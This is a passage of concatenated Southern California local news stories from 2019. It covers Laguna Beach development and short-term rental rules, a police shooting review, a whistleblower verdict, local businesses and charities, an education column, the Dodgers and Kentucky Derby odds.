Court Judge Jonathan Fish said he would rule on the request to dismiss the charges on or before Feb. 26. If Fish denies the request, a jury trial is scheduled to begin March 12. Daily Pilot staff writer Luke Money contributed to this report. With a half-dozen large-scale developments on the horizon for Laguna Beach, the City Council approved several measures this week intended to keep the review process running smoothly. The measures approved Tuesday lay the groundwork for local real estate investor Mo Honarkar, who is developing several hotels and community spaces around the city, including his recently acquired Hotel Laguna. Several of Honarkars developments are expected to go up for city review in the coming year. The whole purpose of this process is to get the city properly staffed with experts who have done this before, who understand the process, who know how to extract public benefits for the community, Mayor Bob Whalen said. Thats exactly what its about. Its looking at the long-term costs and looking at the public benefits you can get out of it. The council unanimously approved setting up a subcommittee with Whalen, Councilwoman Sue Kempf and three people hired as consultants to help with negotiations, legal issues and economic evaluations of the proposals. The subcommittee will work with city staff for a year to analyze the projects, identify possible public benefits and negotiate. The group also may work out a development agreement with Honarkar to determine the order of the projects and agree on the final layouts. No matter how the projects turn out, the councils vote sets up a system so Honarkar pays all costs the city incurs while processing his projects. The council has taken several steps in recent months designed to improve the community development and review processes after hearing complaints from community members and in anticipation of Honarkars projects. City Manager John Pietig said the slew of proposals would pile on top of normal staff work in the Community Development Department if the city didnt prepare adequately. All those different things still need to be done in addition to these potential development applications, Pietig said. Putting together a team helps give us additional expertise and bandwidth to respond to applications in a prudent, prompt and careful manner. Several residents said having two council members in the negotiating group could sway other council members decisions once recommendations go to the full council. Some said other community members should be on the panel. Im assuming that everybody has certain strong feelings about this project and so its going to be very difficult to pick ... people who dont have preset ideas, local artist Karen Schwager said, referring to council members. The other thing Im really concerned about is transparency. The idea that we have citizens participating in this community would really, really help that aspect. Council members said the negotiations would stay private, but the council voted to add provisions that the subcommittee would establish opportunities for public input and regularly report to the council. You cannot do negotiating and get a good result if everything is going to be viewed by the public, said Mayor Pro Tem Steve Dicterow. Things are said, words are used, candidness is not obtained if its going to be subject to the light of day during the negotiation. Its what comes out of it that matters, its what comes to us to vote on that matters, and thats where there will be full disclosure and full public input. Short-term lodging On a 3-2 vote, the council moved ahead Tuesday with an ordinance to change its short-term lodging regulations to prohibit the rental units in residential neighborhoods while expanding the potential for them in commercial areas. Under the amended ordinance, nearly 40 people legally operating short-term rentals in residential areas could continue to operate, but no new rentals could crop up in residential zones. Amendments also would increase penalties for residents who violate the ordinance and would place new responsibilities on short-term rental platforms such as Airbnb to help enforce the rules. Since 2016, the city has processed 82 complaint-driven code enforcement issues with short-term rentals and started more than 500 investigations into potential problems, said Community Development Director Greg Pfost. Dicterow and Councilman Peter Blake cast the dissenting votes, calling for allowing more residents to offer the temporary lodging but with tighter restrictions. Id like to see some more restrictions removed from people that they can actually exercise their property rights, said Blake, who added that he often uses short-term rentals when he travels. Id also like to make sure that its restricted in a way that the neighborhoods are quiet. Resident Ronnie Rogers said he benefits from managing renters at his cottage in a residential zone. As long as you have [the transient occupancy tax] and owners have firm rules, which they do, it works, it works great, Rogers said. These people get to stay in places they would not otherwise, that they come to Laguna for. The ordinance amendments will return to the council for a second reading and then go to the California Coastal Commission for final approval. Support our coverage by becoming a digital subscriber. A Vietnam War-era jet will have a new home at the OC Fair & Event Center in Costa Mesa following a deal struck this week by Orange County and the Fair Board. The A-4 Skyhawk is being moved to make way for new county buildings at the Santa Ana Civic Center and is slated to land at a new site near the fairgrounds Heroes Hall veterans museum. Fair Board member Douglas La Belle, who has helped coordinate the aircrafts move, said Thursday that he would like to have the jet installed before November so a dedication ceremony can be held on Veterans Day. The Orange County Board of Supervisors agreed Tuesday to spend $206,000 to move and reinstall the Skyhawk and build a plaza where it would rest on a pedestal. The plane will remain on loan to the county from the National Naval Aviation Museum in Pensacola, Fla. Nick Berardino, president of the Heroes Hall Veterans Foundation, said the county chief executives office contacted him about eight months ago regarding the possibility of relocating the jet to the fairgrounds. Berardino said he immediately accepted the offer because the aircraft was flown by a commanding officer at the former El Toro Marine Corps Air Station. Having the jet at Heroes Hall, where we serve about 100,000 schoolchildren each year, is huge, he said. Its a teaching museum and it teaches that freedom isnt free and it teaches [that] the sacrifices that brave men and women made for the great country wont be forgotten. Kevin Donohue, 65, of Lake Forest, flew Skyhawks from 1980 to 83 while serving with Marine Attack Squadron 311. He said the jet was the Marine Corps go-to platform for decades when infantry needed bombs dropped, rockets shot and guns fired at enemy troops. Though the Skyhawk had a reputation as a battle-tested aircraft, its cockpit was so small that Donohue recalls being able to drape both his arms over the side of the plane. He hopes that one day hell be able to volunteer as a docent at Heroes Hall to teach schoolchildren about the aircrafts history. I dont know that there is the same understanding that freedom can be threatened from time to time and that our freedom comes from the people making the ultimate sacrifice, he said. Board member Ashleigh Aitken recommended that fairgrounds staff explore the idea of selling custom bricks in the future plaza around the Skyhawk as a way to raise money for the Heroes Hall Veterans Foundation. The bricks would enable members of the public to honor family members who served in the military. La Belle said its important that the area around the Skyhawk be improved with artificial turf and benches to make it fit with the design of Heroes Hall. One of the things we clearly articulated to the [design] team is we wanted this to be something that looks like we always intended to do it this way, La Belle said. Daniel Langhorne is a contributor to Times Community News. Support our coverage by becoming a digital subscriber. Flash Former U.S. Vice President Joe Biden formally announced his candidacy for the 2020 presidential elections in an online video on Thursday. "The core values of this nation, our standing in the world, our very democracy, everything that has made America America is at stake," Biden said in the video posted on Facebook and Twitter. "That's why today I'm announcing my candidacy for president of the United States," he said. In the statement, Biden also slammed the white supremacist rally in Charlottesville, Virginia, in August 2017 and President Donald Trump's handling of the incident. The rally saw a Nazi sympathizer ram his car into a group of peaceful counter-protesters, killing one and injuring 19 others. Trump said in response then that there were "very fine people on both sides." Biden said, "With those words, the President of the United States assigned a moral equivalence between those spreading hate and those with the courage to stand against it. And in that moment, I knew the threat to this nation was unlike any I had ever seen in my lifetime." He said history will look back on Trump's presidency as "an aberrant moment in time." "But if we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and watch that happen," he noted. Biden is expected to attend his first high-dollar fundraiser held at the Philadelphia home of Comcast executive David Cohen on Thursday evening, and to show up at a local union hall in Pittsburgh on Monday. With strong support from older voters and African Americans and thanks to the fact that his name is well-known, Biden currently leads more than a dozen Democratic hopefuls for the party's 2020 presidential nomination, according to the Reuters/Ipsos poll released on Wednesday. The former vice president is supported by 26 percent of likely Democratic primary voters, followed by Senator Bernie Sanders with 15 percent, the poll showed. About 40 percent of African Americans and 32 percent of those aged 55 and older said they support Biden. No other Democratic candidate, including notable names such as Senators Kamala Harris and Elizabeth Warren, as well as former House member Beto O'Rourke and rising star Pete Buttigieg, the mayor of South Bend in the state of Indiana, garnered the support of more than 7 percent of the respondents. Biden, born in Scranton, Pennsylvania, became an attorney in 1969 and was first elected to the U.S. Senate in 1972 as the sixth-youngest senator in U.S. history. He served as the U.S. vice president from 2009 to 2017. During his nearly four decades in the Senate, he was a longtime member and former chair of the Foreign Relations Committee. He also served as chair of the Senate Judiciary Committee. Biden launched a bid for the 1988 Democratic nomination and ran a second time in the 2008 cycle. He reportedly seriously considered another run for the White House in 2016, but announced in October 2015 that he would not launch a campaign following the death of his eldest son Beau. A Huntington Beach police officer who shot and killed a 27-year-old man during a scuffle outside a 7-Eleven store in September will not face criminal charges, the Orange County district attorneys office announced Wednesday. According to Assistant District Atty. Ebrahim Baytieh, the office determined that Officer Eric Esparza was legally justified when he shot Dillan Tabares, a homeless Navy veteran who had been paroled from state prison eight days earlier. The Sept. 22 shooting was captured on bystanders videos that were widely circulated on social media. It is clear in this case, based on the totality of all the available evidence, Officer Esparza was justified in believing Tabares posed a significant threat of death or serious physical injury to Officer Esparza and possibly other civilians in the parking lot, Baytieh wrote in a letter to Orange County Sheriff Sandra Hutchens. This conclusion is based on all of the circumstances, particularly the conduct of Tabares leading up to the shooting, Baytieh added. In October, roughly a month after the shooting, Huntington Beach police named Tabares as the suspect in the fatal beating of Richard Darland, 80, who was found outside his home in the 7800 block of Ellis Avenue on Sept. 19, three days before Tabares was shot. Esparza was in his patrol car in the parking lot of the 7-Eleven store at 6012 Edinger Ave. at about 9:30 a.m. Sept. 22 when he parked and approached Tabares. Esparza told Tabares to stop, but he walked away, according to the D.A.s letter. Its not clear what prompted Esparza to stop Tabares. The officer, who has been with the Huntington Beach Police Department for three years, declined to provide a statement to the Sheriffs Department, which investigated the case, or to the district attorneys office. His current assignment in the department is not clear. However, Esparza told another officer at the scene that Tabares was trying to grab his gun from his utility belt during the ensuing scuffle, according to footage from Esparzas body camera that was made public Wednesday. Warning: The following video contains graphic content. A registered nurse who witnessed the altercation told investigators that Tabares looked out of it and she thought he might be under the influence of a drug, according to the D.A.s letter. She told investigators that she heard Tabares shouting at the officer and then saw him walk directly at Esparza and swing at him, according to the letter. As Tabares approached Esparza, the officer used his Taser, but it was not effective, authorities said. A video taken just before the shooting and later posted on social media shows Tabares and the officer struggling on the ground next to a parked car. Tabares appears to pull an item off the officers utility belt. Baytieh said the item was the officers flashlight. Tabares DNA was found on the officers flashlight holder, magazine holder and the grip of his Glock pistol, according to an analysis by the Orange County Crime Lab. Body camera footage and another video show Esparza firing six shots, causing Tabares to convulse and stumble. After a seventh shot, Tabares collapsed on his side against the store. Tabares was taken to UCI Medical Center in Orange, where he was pronounced dead at 10:13 a.m. Tabares family said he had drug and mental health issues. The D.A.s letter states that an analysis of his blood showed the presence of ethanol and methamphetamine. The confrontation with Esparza wasnt Tabares first run-in with Huntington Beach police. Officers had arrested him 12 times since 2014, Police Chief Robert Handy has said. From 2014 to 2016, Tabares was in and out of Orange County jails for misdemeanor convictions including disturbing the peace, carrying a dirk or dagger, possession of an opium pipe and resisting arrest, according to Orange County Superior Court records. In May 2016, he pleaded guilty to a felony count of battery with serious bodily injury. He was initially sentenced to jail time and three years probation, court records show. Twice in 2016 he was found to have violated his probation and was sentenced to additional jail time, records show. In March 2017, Tabares was arrested for violating probation a third time, and a Superior Court judge sentenced him to two years in state prison. However, with time served and other credits, he served about six months in Wasco and Centinela state prisons, according to court and California Department of Corrections and Rehabilitation records. On Sept. 20, Tabares was considered to be eluding supervision, according to Department of Corrections records. Police connected Tabares to Darlands slaying after they found his name in Darlands phone and saw him in surveillance footage. They said they had not connected him to the homicide by the time Tabares was shot. Detectives asked the county crime lab to analyze Tabares clothing that was kept as evidence in the investigation of the officer-involved shooting. A crime lab examiner found blood on Tabares pants that matched Darlands DNA, according to the D.A.s office. Handy said Tabares first met Darland in 2013 when Darland began helping him. He provided Tabares with food and transportation and allowed him to use his computer and to shower in his house. He also let Tabares sleep outside the house. Tabares shooting was the seventh and last involving a police officer in Huntington Beach in 2017 a total that exceeded any other year this decade, according to department archives. It was the years second such shooting in which a person was killed. hannah.fry@latimes.com Twitter: @HannahFryTCN An Orange County jury awarded $2 million in damages this week to a UC Irvine neurosurgeon who alleged in a lawsuit that the University of California Board of Regents and the former dean of UCIs School of Medicine violated whistleblower protection laws when he was retaliated against for filing a grievance against his supervisors. I am incredibly relieved to finally be vindicated now six years after the event and 2.75 years since having to file a lawsuit, plaintiff Mark Linskey, a tenured professor of neurological surgery, said in a statement following Mondays verdict. The lawsuit, filed in June 2016, alleged that defendant Ralph Clayman, former dean of the medical school, along with Johnny Delashaw, former chairman of the department of neurological surgery, collaborated to oust Linskey from the department in retaliation for a grievance he had filed against them expressing concerns about patient safety and conflicts of interest. In the complaint, Linskey alleged patient safety was put at risk in June 2012 when vascular neurosurgery cases surgery done under a microscope on blood vessels in or around the brain or under the neck were removed from the general neurosurgery on-call service and that future emergency neurovascular cases were reserved for Delashaw and another doctor. Linskey said he requested inclusion in the neurosurgery vascular call schedule and was denied. Linskey filed a grievance with the Committee on Privilege and Tenure in March 2013, naming Clayman and Delashaw. The lawsuit alleged that Clayman retaliated against Linskey by pushing to have him moved from the department of neurosurgery to the department of general surgery. It also alleged that Delashaw threatened residents by ordering them to not assist Linskey during surgery and discouraged verbal communication with him. Linskey also named the UC Board of Regents in the lawsuit, saying it failed to protect him even after he submitted a UCI Whistleblower Retaliation Complaint Form in May 2014. Clayman departed as dean in 2014 to be a professor in the UCI department of urology. He did not immediately return a call seeking comment Thursday, and his attorneys referred questions to UCI, which declined to comment. UC also referred questions to UCI. Delashaw, who left in 2013, was originally named as a defendant in Linskeys lawsuit but was removed in summary judgment by Orange County Superior Court Judge Glenn Salter. That decision is being appealed, according to Gina Fernandes, a spokeswoman for Linskeys team. Delashaw could not immediately be reached for comment Thursday. Litigation is continuing as to whether Linskey can be reinstated to his former position in the department of neurological surgery and the universitys residency training program. Linskeys attorney Ivan Puchalt said a judge would hear additional evidence July 22 and make a decision within 30 days. [The jury] only awarded damages for loss of income and emotional distress. They didnt award future damages, Puchalt said. When [Linskeys] out of his department, his reputation is harmed. Its kind of like a red flag to anyone in a small community of neurosurgeons to not be in your own department. Linskey said he looks forward to healing this breech, and all outstanding issues, and moving forward with renewed hope and positivism. Despite problems and issues with past, and current, leadership decisions, my loyalty and dedication to UC Irvine as an institution and to training new neurosurgeons as part of the neurosurgery residency training program have never wavered, he said. Delashaw left UCI for a hospital in Seattle, where he faced internal complaints over patient care and a high-volume surgical approach, according to a Seattle Times investigation in 2017. He sued the paper a year later, alleging libel and defamation. The Washington medical commission suspended Delashaws medical license in 2017 and reinstated it the following year. He sued five commission members in December in relation to the license suspension, alleging they had violated his constitutional rights, interfered with his ability to practice neurosurgery and defamed him. Both of the lawsuits are ongoing. The Lost Bean has become a hotbed for the boutique coffee shop movement, standing as one of the originals since it opened in 2005 in Tustin. Last year, another location was added at the Hive in Costa Mesa, where the Los Angeles Chargers headquarters is located. Bodie Rasmussen said when he came up with the idea years ago for a coffee shop, he didnt have any businesses to model his strategies after, so he decided to do his own thing. After years day trading on the stock market, Rasmussen, 44, of Santa Ana wanted to invest his money in a new business, specifically an ethical one. Considering environmental issues were important to him, Rasmussen developed a coffee house that served organic coffee and eventually, specialty wine. But, the coffee wouldnt just be indifferently roasted and served in Styrofoam cups, there would be care in the process. It wasnt known at the outset whether the Lost Bean would be able to locally compete with the likes of Starbucks and Peets Coffee and one of the primary objectives was to keep the cost to the consumer down, Rasmussen said. We didnt feel we could compete if our true cost was reflected on the menu board, Rasmussen said. In order to do that, employees roast the coffee and bake pastries in-house, thereby cutting out the need for a middle-man. Weve had to become a little more innovative with how we deal with our supply chain, Rasmussen said. Rasmussen developed and managed the coffee shop while juggling day trading and family responsibilities. Rasmussen and his wife, Sarah, have three kids ages 9, 3 and 1. Around 2010, he dropped his day trading gig, making the Lost Bean his primary objective. In trying to cultivate a friendly neighborhood coffee shop where everybody knows each others names, Rasmussen has sought to bridge the gap between business and community with events and charity. About three years ago, the shop started holding open mics every Monday at the Tustin location. Dozens of artists pack into the intimate coffee house and take turns performing as regulars sip coffee and listen. Rasmussen said the event has taken on a life of its own. Recurring performers organize the event and a couple of employees from the local Jims Music store bring sound equipment. I think coffee in general is a very communal type of business where people get together in a way they used to get together at pubs, Rasmussen said. A lot of people who come here feel a sense of ownership over the place like its their everyday hang-out. The Lost Bean also donates 30% of company profits to foreign and domestic charities like the Tustin-based nonprofit, MaxLove Project which aids children with cancer, and the national charity Home for Refugees, which fosters ties among communities and refugees. The Lost Bean will be hosting an App-Off culinary event for MaxLove Project at 6 p.m. May 24 at 3335 Susan St., Costa Mesa. Rasmussen said he plans to open more locations. Last year, he purchased Dick Churchs, one of the oldest restaurants in Costa Mesa, where he plans to open up a Lost Bean annex with patio seating and a walk-up coffee bar. The coffee joint will be separate from the restaurant, though its housed in the same building. Another location is also slated to be opened around September at the Woodbridge Village Center, Irvine. The Lost Bean is at 13011 Newport Ave., Tustin. For more information,visit thelostbean.com/. benjamin.brazil@latimes.com Twitter:@benbrazilpilot For 30 years, pediatric surgery nonprofit Mending Kids has been sending doctors all over the developing world to perform surgeries on young people who likely wouldnt receive them otherwise. More recently, its also been helping kids at home, said Isabelle Fox, executive director of the Glendale-based organization. On July 27, Mending Kids will hold its seventh annual Hometown Mission, which will see more than 20 young patients from Southern California and Arizona receive free outpatient surgeries. I cant pull a statistic out of my hat, but I think [the local need] is a lot bigger than we think it is, Fox said. Healthcare is such a question mark for so many. Currently, Mending Kids is recruiting patients 21 years old and younger who are in need of a surgery that doesnt require overnight hospitalization including orthopedics, plastic surgery, urology, as well as eye, general and ENT surgeries but cannot afford the procedures because of insurance coverage, documentation status or a familys loss of income, Fox said. Within two days of announcing the mission earlier this month, the organization received 30 phone calls and is in the process of screening potential patients, Fox said. With the need exceeding the 20 or so patient slots available for the one-day mission, Fox said the organization is already in talks with its mission partner, the Specialty Surgery Center of Beverly Hills, to extend the program to be year-round. That way, those who cant be seen in July can schedule procedures in the coming months, rather than a year or even further down the line. We do have a lot of donors that care about our United States program, Fox said. I think if they knew it could be [a] consistent help, we could potentially raise the money to be able to do it. Because the surgeries the mission offers are not treating life-threatening illnesses, some insurance companies may not cover them or may require the patient to pay a high deductible. But the suffering caused by even cosmetic abnormalities can be significant, Fox said. By the age of 6, Jorge Trejo stopped wanting to socialize with other children who bullied him because of a large birthmark on his face, according to his father, Jose. With their insurance unwilling to cover the procedure, me and my wife were almost giving up, Jose Trejo said. When the Trejos saw a commercial in 2015 for Mending Kids on a Spanish-language TV channel, they were skeptical but called anyway. Within about a day, the organization said it could help. It took three years and three surgeries, but in 2017 the birthmark was finally removed, Jose Trejo said. Now hes a totally different boy, Jose Trejo said of his son, who is turning 10 this year. I see him happy and making friends. The Hometown Mission also gives doctors and other healthcare professionals who might not be able to go on an international mission an opportunity to volunteer, Fox said. A team of about six surgeons, in addition to nurses and anesthesiologists, will be working for free during the upcoming mission. Those who want to refer a child for the upcoming mission can call (800) 993-5680 or email hometown@mendingkids.org. Support our coverage by becoming a digital subscriber. lila.seidman@latimes.com Twitter: @lila_seidman Yes, a superintendent is very important. Thats my response to the question posed in Brian Crosbys most recent Whiteboard Jungle column, where he shared his views on the school boards release of Glendale Supt. Winfred Roberson Jr. (GNP February 9, 2019, Despite high GUSD turnover, students succeed). Please understand. I appreciate Crosbys long tenure as a teacher at Hoover High School and the dedication he shows to his students and teaching. I love how he tries to connect his students to issues outside their classrooms, to history and arts and current events. I share Crosbys wish for stability in district leadership, and Im sorry that the latest superintendent-school board partnership didnt work out as the parties and the community had hoped. In the nearly six years since former News-Press editor Dan Evans invited Crosby and me to write weekly alternating education columns, Ive rarely felt compelled to take issue with his opinions. But I must offer a counterpoint to his recent question about the value of a superintendent. For starters, Crosbys description of the news of Robersons release generating more of a ripple than a tsunami reminds me how differently various audiences can react to news. Many people in the civic and nonprofit worlds where I spend much of my time who may be outside of schools but they are very much concerned with them the news of the release came not as a ripple but as a crashing wave, a worrisome sign of stormy seas. Community members along with many of the educators I know in the district know that the contractual release of a superintendent is a big deal. I also take issue with the comment that Roberson now joins the ranks of recent Glendale Unified superintendents who seem intent on not staying very long. No superintendent Ive known (excluding the interims whom Crosby counts in his calculation of average tenures) aspired to a short term. But heres the statement that prompted this response. New superintendents tend to establish their authority via some new cockamamie education program that is mandated for implementation in all classrooms without teacher input. Veteran teachers know how to ride out such fads and dont get too riled up about it because it will last as long as the superintendent remains in office. For some calm perspective, I reached out to a few former school board colleagues, and I got this response from Chuck Sambar, who was a teacher, Glendale Teachers Assn. leader, and administrator in the district before his election to the board. He is now enjoying retirement in Pacific Grove, Calif. In Sambars words, Glendale superintendents. Burtis Taylor, Jim Brown, and Mike Escalante had a profound impact on building a school district and a culture that served students and community. Their impact was not fad based. They were leaders whose decisions and actions were based on common sense, respect for teachers and staff, financial stability, managed growth in time of challenge or prosperity, inclusion, consultation, and above all, honesty and integrity. With thanks to my friend Chuck, Ill add a few examples I recall of the impacts of superintendents. Robert Sanchis led the district in a time of enormous population growth, from 1982 to 1996, when, as an example, one elementary school grew from 615 to 1,400 students, many of them English-language learners. Sanchis assembled a team that led our district to become a model for English-language instruction and for welcoming new parents to public education in the United States. He managed the shift of half the district to year-round education to accommodate school growth, and he engaged parents and teachers in the development of the districts first strategic plan. Jim Brown arrived in 1996, just as California instituted class-size reduction in the primary grades. With class-size reduction, came a wave (another tsunami) of brand-new teachers and a parade of portable classrooms. In quick response, Brown tapped local leaders to spearhead the successful Measure K school-bond campaign, and he orchestrated the conversations that resulted in the opening of Clark Magnet High School. In fulfillment of one of a superintendents many responsibilities, he selected Doug Dall as Clarks founding principal, a decision that has made an enormous difference for students in Glendale. In 2000, when a student died in an altercation in front of one of our schools, Brown worked with school and community representatives including parents, students and teachers to address the issues that surfaced by that tragedy. Michael Escalante, facing significant funding cuts when he arrived in the district, accomplished the unpopular task of cutting district positions without laying off teachers. And in a determined effort to avert the closure of an elementary school due to shrinking enrollment, he proposed the formation of the Foreign Language Academies of Glendale, one of the districts signature reforms. We also have Escalante to thank for the existence of Hoover High Schools award-winning marching band, and it was he who paved the way for the rebirth of the Glendale Educational Foundation, which has been augmenting district programs for nearly 15 years. I could say more, about Dick Sheehan, about Don Empey stepping out of retirement to serve as interim superintendent, and of the difficult challenges handed to Roberson. But Ill close with the words from a 1996 California School Boards Assn. publication maybe old but not outdated: The employment of a superintendent is the opportunity to create a climate of teamwork that will enable the districts schools to successfully educate students far into the future. Superintendents make a difference. So do the school boards who hire them. JOYLENE WAGNER is a past member of the Glendale Unified school board, from 2005 to 2013, and currently serves on the boards of Glendale Educational Foundation and other nonprofit organizations. Email her at jkate4400@aol.com. City Council members contemplated Tuesday whether and to what extent residents should be allowed to construct tree houses on their properties, after a structure built among oaks at a Patagonia Drive home recently caught the eye of city code enforcement officers. La Canada homeowner John Womack first addressed the council at an April 3 meeting, after a wooden play platform hed built for his children was declared a violation of the citys zoning code regarding the treatment of protected trees on private property. Womack said he didnt believe he harmed the oaks, as no limbs were cut or damaged, and asked the council to reconsider allowing residents to build play spaces for their children. On Tuesday, he said he read the code and found nothing that prohibited him from placing stainless steel screws into the trees. We intentionally made sure we did not violate the code, he told the council. We intentionally designed this to cause the least amount of stress to the tree, and we made a point not to cut off any branches. Rebecca Latta, an arborist consultant who examined the structure, said screws, nails and staples can cause harm by puncturing the bark and providing entry points for insects, bacteria and fungus. Trees dont heal like people the tissue just grows over the damage, Latta said. [So] when you have a tree thats been damaged, the damage is permanent. Council members weighed the merits of protecting trees against families rights to enjoy their homes, but unanimously agreed protected species such as oaks and sycamores should never be built upon. As for building in unprotected tree species, the council said homeowners should have some rights to install structures if they were willing to assume the risk. Community Development Director Susan Koleda said while the citys zoning code does not specifically address residential tree houses its building code, it was adopted from that of L.A. County, which does exempt tree houses of 64 square feet or smaller and do not exceed 8 feet in height from requiring a building permit. Councilman Greg Brown said hed like those specifications included in the citys zoning code, to give homeowners some guidance. I would not allow this sort of damage to protected trees, but I would like to see our code provide an exception for something small thats reasonable. Then we wouldnt have this issue in the future where weve just got a silent code people have to try and figure out. City Manager Mark Alexander suggested the council put the matter before the Planning Commission, for input and further consideration about placement, size and possible setbacks. The council voted 3-1 to follow that suggestion. Mayor Pro Tem Len Pieroni, leading the meeting while Mayor Terry Walker was out of town, cast the dissenting vote to avoid over-regulation. If you own a house you should be able to enjoy it, Pieroni said. Council members were not asked to rule on Womacks situation, which will continue to be handled as a code enforcement issue. New Public Works director hired, city bids Armas farewell The city manager thanked Interim Public Works Director Jesus Armas for his service and informed the council Tuesdays meeting would be Armas last, as hes leaving at the end of the month. Armas has led the department since November, since previous Public Works Director Edward Hitti left in October for a position in Glendale. Alexander confirmed after the meeting a new public works director has been hired Patrick DeChellis, retired former deputy director for Los Angeles County Public Works Department, was scheduled to start work on Wednesday. Youth Council gets 2 new members, loses 2 seats Also Tuesday, the City Council unanimously appointed two local teens to serve on the citys Youth Council. La Canada High School freshman Emily Strauss and Chase Kerstein will fill two of four vacancies on the panel. The 11-member group was reduced by council resolution Tuesday to nine, comprising four representatives from each of the citys high schools and five at-large members. Councilman Greg Brown called both candidates incredibly qualified, adding, Youre full of good ideas, energy and enthusiasm everything we want to see. CV Sheriffs Station to participate in memorial torch run In a public safety presentation, Crescenta Valley Sheriffs Capt. Chris Blasnek informed council members May 15 is nationally recognized as Peace Officers Memorial Day, a time to honor those who sacrificed their lives in the line of duty. Los Angeles County Sheriffs Department members will join in a memorial torch run beginning Friday morning outside Downtown Los Angeles Hall of Justice. Over the weekend, participants will travel through each of the departments 23 patrol territories (with a separate run planned for Santa Catalina Islands Avalon Station). Crescenta Valley Station employees will take over the torch Sunday morning at the Monte Cristo campground in the Angeles National Forest and run through La Canada as they head toward the Altadena Sheriffs Station, the final leg of the 300-mile journey. You may see us coming down Angeles Crest Highway and coming through the city on Foothill Boulevard, Blasnek told council members. This year, officers will honor former co-worker and friend Deputy Steven E. Belanger, who was shot in the line of duty 20 years ago and died Feb. 8. sara.cardine@latimes.com Twitter: @SaraCardine Dave Roberts said he has made sure to communicate his confidence in Joe Kelly as the reliever has traversed rough terrain to begin his Dodgers career. He told Kelly he still believed in him despite his 9.82 ERA in his first 11 innings as a Dodger, despite allowing a run in seven of his 10 outings, despite his failures leading directly to three losses after signing a three-year, $25-million contract during the offseason. But words only go so far, Roberts noted, so he demonstrated his trust in Kelly in the Dodgers 2-1 win over the Chicago Cubs on Thursday. With the Dodgers nursing a two-run lead and Dylan Floro, the Dodgers best reliever this season, unavailable, Roberts summoned Kelly to pitch the eighth inning at Wrigley Field. We need him and to back that up and put him in leverage, Roberts said, I really hope that sends a message to him. Kelly had pitched the seventh inning Wednesday and surrendered a run with two outs that cost the Dodgers. On Thursday, he faced the meat of the Cubs order again. He retired Kris Bryant and Anthony Rizzo before Javier Baez abruptly shifted the momentum with a line drive off the right-field wall. But Baezs slow start out of the batters box and Cody Bellingers strong throw limited Baez to a single. Advertisement That brought up Daniel Descalso as the tying run. Decalso fouled off the first pitch, an 88-mph changeup, before taking two balls to put himself in a favorable count, Roberts said. He then whiffed on a 97-mph fastball before fouling off another changeup. Kelly thought he had strike three on the next pitch, a 99-mph fastball over the outer half, but catcher Rocky Gale didnt catch the ball cleanly and the count ran full. What followed was a 97-mph fastball right down the middle, a challenge pitch that Decalso foul-tipped into Gales glove to end Kellys second clean full inning this season. I thought this was good as weve seen him so far, Roberts said. Bellinger keeps rolling Cody Bellinger began Thursday leading the major leagues in batting average and slugging percentage, leading the National League in on-base percentage and ranking second in the majors in home runs. He added a double, a walk and a sacrifice fly Thursday. The fly produced his 31st run batted in, tying Christian Yelich for most in the majors. The left-handed slugger has hit safely in 23 of 26 games and has reached base in 25 games. His double gave him 84 total bases, one shy of Chase Utleys major league record for total bases before the start of May. Bellinger, 23, is batting .426 with a .500 on-base percentage and an .894 slugging percentage. Sign up for our Dodgers newsletter Urias fresh for Friday As the Dodgers pitching staff is currently constructed, Julio Urias is a reliever for the foreseeable future. The left-hander made his relief debut in Tuesdays loss, tossing two scoreless innings after making four starts. Hell be available again to pitch Friday, after a three-day break. If he doesnt pitch -- theres nothing that says he has to pitch [Friday] -- then hell be available for a little bit longer length the next day, Roberts said. It goes like that. Roberts has repeated that Urias role is fluid. He will pitch multiple innings at a time, but not on back-to-back days -- for now, at least -- because the Dodgers want to limit the stress on his shoulder, which was surgically repaired less than two years ago. When asked if the Dodgers had considered using Urias as an opener to give him a clean slate, Roberts said they hadnt. jorge.castillo@latimes.com Twitter: @jorgecastillo Hello, my name is John Cherwa and welcome to our horse racing newsletter as we explain our thinking on Frank Stronachs town hall. We are back for another short week of three-day racing at Santa Anita. While we were away, the headline was the town hall held by Frank Stronach in Arcadia. We didnt go to it, and well explain why. While Stronach is genuine in his desire to make racing better, the real purpose of the meeting was posturing in his suit against daughter Belinda Stronach for regaining control of the company. Think about his suggestion to turn the track over to the horsemen to run. Sounds interesting, but there is one problem he doesnt own the track anymore and wishing something to happen and it actually happening are different things. The control of the Stronach Group will be litigated for a while, and the guess here is that it will remain in Belindas hands. But, that opinion means nothing. So, rather than breathlessly report on something that is little more than a staged event, were OK with this situation playing out in the courts. If it ever goes to trial. Advertisement Still, if you want to read about the meeting, check out Steve Andersens story in the Daily Racing Form. Just click here. And heres a version from the Bloodhorse. Jon Whites Kentucky Derby rankings Time to turn our attention to the Kentucky Derby. As always, were lucky to have top expert Jon White take a look at whats happening there. Jon makes the morning line at Santa Anita, hes a licensed steward, and hes the preeminent historian on racing. Were lucky to have him. So, here are his Kentucky Derby rankings, brought courtesy of Xpressbet.com. Jon, the floor is yours: Ever since Churchill Downs in 2013 introduced its points system to determine which horses get the opportunity to start in the Kentucky Derby, six straight betting favorites have been victorious: Orb in 2013, California Chrome in 2014, American Pharoah in 2015, Nyquist in 2016, American Pharaoh in 2017 and Justify in 2018. This raises a couple of questions. First, who is going to be the favorite this year? And second, will this years favorite keep the winning streak going? It is far from a certainty, but it appears to me that the favorite this year is going to be Omaha Beach. One person who disagrees with this assessment is Daily Racing Form national handicapper Mike Watchmaker. In Watchmakers Kentucky Derby odds this week, he lists Game Winner as his 5-1 Kentucky Derby favorite. Watchmaker then has both Omaha Beach and Roadster at 6-1. I will be surprised not shocked, but surprised if it turns out that Watchmaker is right in terms of Kentucky Derby favoritism. In my projected Kentucky Derby odds, I have Omaha Beach and Roadster both at lower odds than Game Winner. I have Omaha Beach as a 9-2 favorite, followed by Roadster at 5-1 and Game Winner at 6-1. Game Winner, trained by Bob Baffert, was voted a 2018 Eclipse Award as champion 2-year-old male. In Game Winners 2019 debut, he finished second in a division of the Rebel Stakes at Oaklawn Park on March 16 while making his 2019 debut. Omaha Beach won that race by a nose. After Game Winners first career loss in the Rebel, he finished second, a half-length behind Roadster, in the $1 million Santa Anita Derby on April 6. Baffert also trains Roadster. Following Omaha Beachs narrow Rebel victory, he won the $1 million Arkansas Derby on April 13 by one length for trainer Richard Mandella. The Arkansas Derby runner-up was Improbable, yet another 3-year-old trained by Baffert. I have Tacitus at 6-1 for the Kentucky Derby, followed by Improbable at 10-1 and Maximum Security at 12-1. I get the sense Tacitus is going 